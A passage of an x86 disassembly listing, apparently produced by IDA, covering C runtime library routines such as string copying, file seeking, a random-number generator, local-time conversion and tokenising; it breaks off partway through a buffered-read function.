loc_40FD27:				; CODE XREF: sub_40FC5A+1Fj
					; sub_40FC5A+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40FD2C:				; CODE XREF: sub_40FC5A+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_40FD36
; ---------------------------------------------------------------------------


loc_40FD32:				; CODE XREF: sub_40FC5A+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_40FD36:				; CODE XREF: sub_40FC5A+B2j
					; sub_40FC5A+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_40FD27
sub_40FC5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FD42	proc near		; CODE XREF: sub_4032AB+47p
					; sub_40FE9A+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_40FD5E
		mov	[edi+4], ebx


loc_40FD5E:				; CODE XREF: sub_40FD42+17j
		push	1
		push	ebx
		push	esi
		call	sub_415560
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_40FDCC
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_40FD83
		sub	eax, [edi+4]
		jmp	loc_40FE95
; ---------------------------------------------------------------------------


loc_40FD83:				; CODE XREF: sub_40FD42+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_40FDBD
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4BB7C0[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_40FDD4
		mov	edx, ecx


loc_40FDAE:				; CODE XREF: sub_40FD42+79j
		cmp	edx, eax
		jnb	short loc_40FDD4
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_40FDBA
		inc	[ebp+var_8]


loc_40FDBA:				; CODE XREF: sub_40FD42+73j
		inc	edx
		jmp	short loc_40FDAE
; ---------------------------------------------------------------------------


loc_40FDBD:				; CODE XREF: sub_40FD42+50j
		test	dl, 80h
		jnz	short loc_40FDD4
		mov	dword_4BA284, 16h


loc_40FDCC:				; CODE XREF: sub_40FD42+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_40FE95
; ---------------------------------------------------------------------------


loc_40FDD4:				; CODE XREF: sub_40FD42+68j
					; sub_40FD42+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_40FDE2
		mov	eax, [ebp+var_8]
		jmp	loc_40FE95
; ---------------------------------------------------------------------------


loc_40FDE2:				; CODE XREF: sub_40FD42+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_40FE8D
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_40FDFB
		and	[ebp+var_8], edx
		jmp	loc_40FE8D
; ---------------------------------------------------------------------------


loc_40FDFB:				; CODE XREF: sub_40FD42+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4BB7C0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_40FE87
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_415560
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_40FE4E
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_40FE39:				; CODE XREF: sub_40FD42+104j
		cmp	eax, ecx
		jnb	short loc_40FE48
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_40FE45
		inc	[ebp+arg_0]


loc_40FE45:				; CODE XREF: sub_40FD42+FEj
		inc	eax
		jmp	short loc_40FE39
; ---------------------------------------------------------------------------


loc_40FE48:				; CODE XREF: sub_40FD42+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_40FE82
; ---------------------------------------------------------------------------


loc_40FE4E:				; CODE XREF: sub_40FD42+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_415560
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_40FE75
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_40FE75
		test	ch, 4
		jz	short loc_40FE78


loc_40FE75:				; CODE XREF: sub_40FD42+124j
					; sub_40FD42+12Cj
		mov	eax, [edi+18h]


loc_40FE78:				; CODE XREF: sub_40FD42+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_40FE82:				; CODE XREF: sub_40FD42+10Aj
		jz	short loc_40FE87
		inc	[ebp+arg_0]


loc_40FE87:				; CODE XREF: sub_40FD42+D9j
					; sub_40FD42:loc_40FE82j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_40FE8D:				; CODE XREF: sub_40FD42+A4j
					; sub_40FD42+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_40FE95:				; CODE XREF: sub_40FD42+3Cj
					; sub_40FD42+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FD42	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FE9A	proc near		; CODE XREF: sub_4032AB+41p
					; sub_4032AB+4Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_40FF16
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40FEB9
		cmp	edi, 1
		jz	short loc_40FEB9
		cmp	edi, 2
		jnz	short loc_40FF16


loc_40FEB9:				; CODE XREF: sub_40FE9A+13j
					; sub_40FE9A+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_40FED0
		push	esi
		call	sub_40FD42
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi


loc_40FED0:				; CODE XREF: sub_40FE9A+27j
		push	esi
		call	sub_415014
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_40FEE5
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_40FEF9
; ---------------------------------------------------------------------------


loc_40FEE5:				; CODE XREF: sub_40FE9A+42j
		test	al, 1
		jz	short loc_40FEF9
		test	al, 8
		jz	short loc_40FEF9
		test	ah, 4
		jnz	short loc_40FEF9
		mov	dword ptr [esi+18h], 200h


loc_40FEF9:				; CODE XREF: sub_40FE9A+49j
					; sub_40FE9A+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_415560
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_40FF23
; ---------------------------------------------------------------------------


loc_40FF16:				; CODE XREF: sub_40FE9A+Bj
					; sub_40FE9A+1Dj
		mov	dword_4BA284, 16h
		or	eax, 0FFFFFFFFh


loc_40FF23:				; CODE XREF: sub_40FE9A+7Aj
		pop	edi
		pop	esi
		retn
sub_40FE9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FF26	proc near		; CODE XREF: sub_40FF46+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41576A
		test	eax, eax
		jnz	short loc_40FF30
		retn
; ---------------------------------------------------------------------------


loc_40FF30:				; CODE XREF: sub_40FF26+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4155FA
		add	esp, 10h
		retn
sub_40FF26	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FF46	proc near		; CODE XREF: sub_4032AB+30p
					; sub_405076+105p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40FF26
		add	esp, 0Ch
		retn
sub_40FF46	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40FF60	proc near		; CODE XREF: sub_403372+5Cp
					; sub_403372+8Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_410014
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_40FF8A


loc_40FF7B:				; CODE XREF: sub_40FF60+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_40FFBB
		test	edi, 3
		jnz	short loc_40FF7B


loc_40FF8A:				; CODE XREF: sub_40FF60+19j
					; sub_40FF60+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_40FF8A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_40FFC8
		test	ah, ah
		jz	short loc_40FFC3
		test	eax, 0FF0000h
		jz	short loc_40FFBE
		test	eax, 0FF000000h
		jnz	short loc_40FF8A


loc_40FFBB:				; CODE XREF: sub_40FF60+20j
		dec	edi
		jmp	short loc_40FFCB
; ---------------------------------------------------------------------------


loc_40FFBE:				; CODE XREF: sub_40FF60+52j
		sub	edi, 2
		jmp	short loc_40FFCB
; ---------------------------------------------------------------------------


loc_40FFC3:				; CODE XREF: sub_40FF60+4Bj
		sub	edi, 3
		jmp	short loc_40FFCB
; ---------------------------------------------------------------------------


loc_40FFC8:				; CODE XREF: sub_40FF60+47j
		sub	edi, 4


loc_40FFCB:				; CODE XREF: sub_40FF60+5Cj
					; sub_40FF60+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_40FFE0
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41002C
		jmp	short loc_40FFFC
; ---------------------------------------------------------------------------


loc_40FFE0:				; CODE XREF: sub_40FF60+75j
					; sub_40FF60+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41001A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_410010
		test	esi, 3
		jnz	short loc_40FFE0
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41002C


loc_40FFFC:				; CODE XREF: sub_40FF60+7Ej
					; sub_40FF60+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_410010


loc_410003:				; CODE XREF: sub_40FF60+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_410012
		dec	ecx
		jnz	short loc_410003


loc_410010:				; CODE XREF: sub_40FF60+8Bj
					; sub_40FF60+A1j
		mov	[edi], cl


loc_410012:				; CODE XREF: sub_40FF60+ABj
		pop	ebx
		pop	esi


loc_410014:				; CODE XREF: sub_40FF60+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41001A:				; CODE XREF: sub_40FF60+85j
					; sub_40FF60+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_410024:				; CODE XREF: sub_40FF60+E4j
					; sub_40FF60+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_40FFFC


loc_41002C:				; CODE XREF: sub_40FF60+7Cj
					; sub_40FF60+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_410024
		test	dl, dl
		jz	short loc_41001A
		test	dh, dh
		jz	short loc_410078
		test	edx, 0FF0000h
		jz	short loc_410068
		test	edx, 0FF000000h
		jnz	short loc_410024
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_410068:				; CODE XREF: sub_40FF60+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_410078:				; CODE XREF: sub_40FF60+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_40FF60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_410090	proc near		; CODE XREF: sub_4034A7+8Bp
					; sub_4034A7+BCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_410113
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_4100B4
		shr	ecx, 2
		jnz	short loc_410121
		jmp	short loc_4100D5
; ---------------------------------------------------------------------------


loc_4100B4:				; CODE XREF: sub_410090+1Bj
					; sub_410090+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_4100E2
		test	al, al
		jz	short loc_4100EA
		test	esi, 3
		jnz	short loc_4100B4
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_410121


loc_4100D0:				; CODE XREF: sub_410090+8Fj
		and	ebx, 3
		jz	short loc_4100E2


loc_4100D5:				; CODE XREF: sub_410090+22j
					; sub_410090+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41010E
		dec	ebx
		jnz	short loc_4100D5


loc_4100E2:				; CODE XREF: sub_410090+2Bj
					; sub_410090+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4100EA:				; CODE XREF: sub_410090+2Fj
		test	edi, 3
		jz	short loc_410104


loc_4100F2:				; CODE XREF: sub_410090+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_410186
		test	edi, 3
		jnz	short loc_4100F2


loc_410104:				; CODE XREF: sub_410090+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_410177


loc_41010B:				; CODE XREF: sub_410090+7Fj
					; sub_410090+F4j
		mov	[edi], al
		inc	edi


loc_41010E:				; CODE XREF: sub_410090+4Dj
		dec	ebx
		jnz	short loc_41010B
		pop	ebx
		pop	esi


loc_410113:				; CODE XREF: sub_410090+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_410119:				; CODE XREF: sub_410090+A9j
					; sub_410090+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_4100D0


loc_410121:				; CODE XREF: sub_410090+20j
					; sub_410090+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_410119
		test	dl, dl
		jz	short loc_41016B
		test	dh, dh
		jz	short loc_410161
		test	edx, 0FF0000h
		jz	short loc_410157
		test	edx, 0FF000000h
		jnz	short loc_410119
		mov	[edi], edx
		jmp	short loc_41016F
; ---------------------------------------------------------------------------


loc_410157:				; CODE XREF: sub_410090+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41016F
; ---------------------------------------------------------------------------


loc_410161:				; CODE XREF: sub_410090+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41016F
; ---------------------------------------------------------------------------


loc_41016B:				; CODE XREF: sub_410090+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41016F:				; CODE XREF: sub_410090+C5j
					; sub_410090+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_410181


loc_410177:				; CODE XREF: sub_410090+79j
		xor	eax, eax


loc_410179:				; CODE XREF: sub_410090+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_410179


loc_410181:				; CODE XREF: sub_410090+E5j
		and	ebx, 3
		jnz	short loc_41010B


loc_410186:				; CODE XREF: sub_410090+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_410090	endp


; =============== S U B	R O U T	I N E =======================================



sub_41018E	proc near		; CODE XREF: sub_4034A7+43p
					; sub_4037AE+39p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_422080, eax
		retn
sub_41018E	endp


; =============== S U B	R O U T	I N E =======================================



sub_410198	proc near		; CODE XREF: sub_4034A7+4Ap
					; sub_403675+4Dp ...
		mov	eax, dword_422080
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_422080, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_410198	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4101B6	proc near		; CODE XREF: sub_4034A7+3Dp

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_41A0F0	; GetLocalTime
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_41A130	; GetSystemTime
		mov	ax, [ebp+var_16]
		cmp	ax, word_4BA27A
		jnz	short loc_41021B
		mov	ax, [ebp+var_18]
		cmp	ax, word_4BA278
		jnz	short loc_41021B
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4BA276
		jnz	short loc_41021B
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4BA272
		jnz	short loc_41021B
		mov	ax, [ebp+var_20]
		cmp	ax, word_4BA270
		jnz	short loc_41021B
		mov	eax, dword_4BA268
		jmp	short loc_410260
; ---------------------------------------------------------------------------


loc_41021B:				; CODE XREF: sub_4101B6+28j
					; sub_4101B6+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	dword_41A12C	; GetTimeZoneInformation
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410248
		cmp	eax, 2
		jnz	short loc_410244
		cmp	[ebp+var_32], 0
		jz	short loc_410244
		cmp	[ebp+var_24], 0
		jz	short loc_410244
		push	1
		pop	eax
		jmp	short loc_41024B
; ---------------------------------------------------------------------------


loc_410244:				; CODE XREF: sub_4101B6+7Aj
					; sub_4101B6+81j ...
		xor	eax, eax
		jmp	short loc_41024B
; ---------------------------------------------------------------------------


loc_410248:				; CODE XREF: sub_4101B6+75j
		or	eax, 0FFFFFFFFh


loc_41024B:				; CODE XREF: sub_4101B6+8Cj
					; sub_4101B6+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4BA270
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4BA268, eax
		pop	esi


loc_410260:				; CODE XREF: sub_4101B6+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_4157E2
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_410290
		mov	[ecx], eax

locret_410290:				; CODE XREF: sub_4101B6+D6j
		leave
		retn
sub_4101B6	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4102A0	proc near		; CODE XREF: sub_4048B2+31p
					; sub_404FE0+3Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41031A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_410307


loc_4102B8:				; CODE XREF: sub_4102A0+52j
					; sub_4102A0+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_4102DA
		test	al, al
		jz	short loc_4102D4


loc_4102C9:				; CODE XREF: sub_4102A0+32j
		mov	al, [esi]
		inc	esi


loc_4102CC:				; CODE XREF: sub_4102A0+3Fj
		cmp	al, dl
		jz	short loc_4102DA
		test	al, al
		jnz	short loc_4102C9


loc_4102D4:				; CODE XREF: sub_4102A0+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4102DA:				; CODE XREF: sub_4102A0+23j
					; sub_4102A0+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_4102CC
		lea	edi, [esi-1]


loc_4102E4:				; CODE XREF: sub_4102A0+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_410313
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_4102B8
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_410313
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_4102E4
		jmp	short loc_4102B8
; ---------------------------------------------------------------------------


loc_410307:				; CODE XREF: sub_4102A0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_410AA6
; ---------------------------------------------------------------------------


loc_410313:				; CODE XREF: sub_4102A0+49j
					; sub_4102A0+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41031A:				; CODE XREF: sub_4102A0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_4102A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410320	proc near		; CODE XREF: sub_404A2C+6p
					; sub_404A4A+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4BA314, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41034D
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_4103E6
		cmp	eax, 5Ah
		jg	loc_4103E6
		add	eax, 20h
		jmp	loc_4103E6
; ---------------------------------------------------------------------------


loc_41034D:				; CODE XREF: sub_410320+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_410381
		cmp	dword_424430, esi
		jle	short loc_41036F
		push	esi
		push	ebx
		call	sub_414E86
		pop	ecx
		pop	ecx
		jmp	short loc_410379
; ---------------------------------------------------------------------------


loc_41036F:				; CODE XREF: sub_410320+42j
		mov	eax, off_424224
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_410379:				; CODE XREF: sub_410320+4Dj
		test	eax, eax
		jnz	short loc_410381


loc_41037D:				; CODE XREF: sub_410320+ADj
		mov	eax, ebx
		jmp	short loc_4103E6
; ---------------------------------------------------------------------------


loc_410381:				; CODE XREF: sub_410320+3Aj
					; sub_410320+5Bj
		mov	edx, off_424224
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_4103A5
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_4103AE
; ---------------------------------------------------------------------------


loc_4103A5:				; CODE XREF: sub_410320+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_4103AE:				; CODE XREF: sub_410320+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4BA314
		call	sub_4158A4
		add	esp, 20h
		test	eax, eax
		jz	short loc_41037D
		cmp	eax, esi
		jnz	short loc_4103D9
		movzx	eax, [ebp+var_4]
		jmp	short loc_4103E6
; ---------------------------------------------------------------------------


loc_4103D9:				; CODE XREF: sub_410320+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_4103E6:				; CODE XREF: sub_410320+16j
					; sub_410320+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410320	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4103EB	proc near		; CODE XREF: sub_404E6A+3Dp
					; sub_404E6A+54p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_410404:				; CODE XREF: sub_4103EB+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_410404
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41042C
		mov	edx, dword_4BA280


loc_41042C:				; CODE XREF: sub_4103EB+39j
					; sub_4103EB+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41044C
		test	al, al
		jz	short loc_41044C
		inc	edx
		jmp	short loc_41042C
; ---------------------------------------------------------------------------


loc_41044C:				; CODE XREF: sub_4103EB+58j
					; sub_4103EB+5Cj
		mov	ebx, edx


loc_41044E:				; CODE XREF: sub_4103EB+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_410472
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41046E
		inc	edx
		jmp	short loc_41044E
; ---------------------------------------------------------------------------


loc_41046E:				; CODE XREF: sub_4103EB+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_410472:				; CODE XREF: sub_4103EB+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4BA280, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_4103EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410487	proc near		; CODE XREF: sub_405076+1FEp
					; sub_405076+2AFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_4104AB
		xor	eax, eax
		jmp	loc_410578
; ---------------------------------------------------------------------------


loc_4104AB:				; CODE XREF: sub_410487+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_4104BE
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_4104C5
; ---------------------------------------------------------------------------


loc_4104BE:				; CODE XREF: sub_410487+2Dj
		mov	[ebp+arg_C], 1000h


loc_4104C5:				; CODE XREF: sub_410487+35j
					; sub_410487+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_4104F9
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_4104F9
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_4104DF
		mov	edi, eax


loc_4104DF:				; CODE XREF: sub_410487+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_40E940
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41053F
; ---------------------------------------------------------------------------


loc_4104F9:				; CODE XREF: sub_410487+47j
					; sub_410487+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_410544
		test	ecx, ecx
		jz	short loc_41050D
		push	esi
		call	sub_415014
		test	eax, eax
		pop	ecx
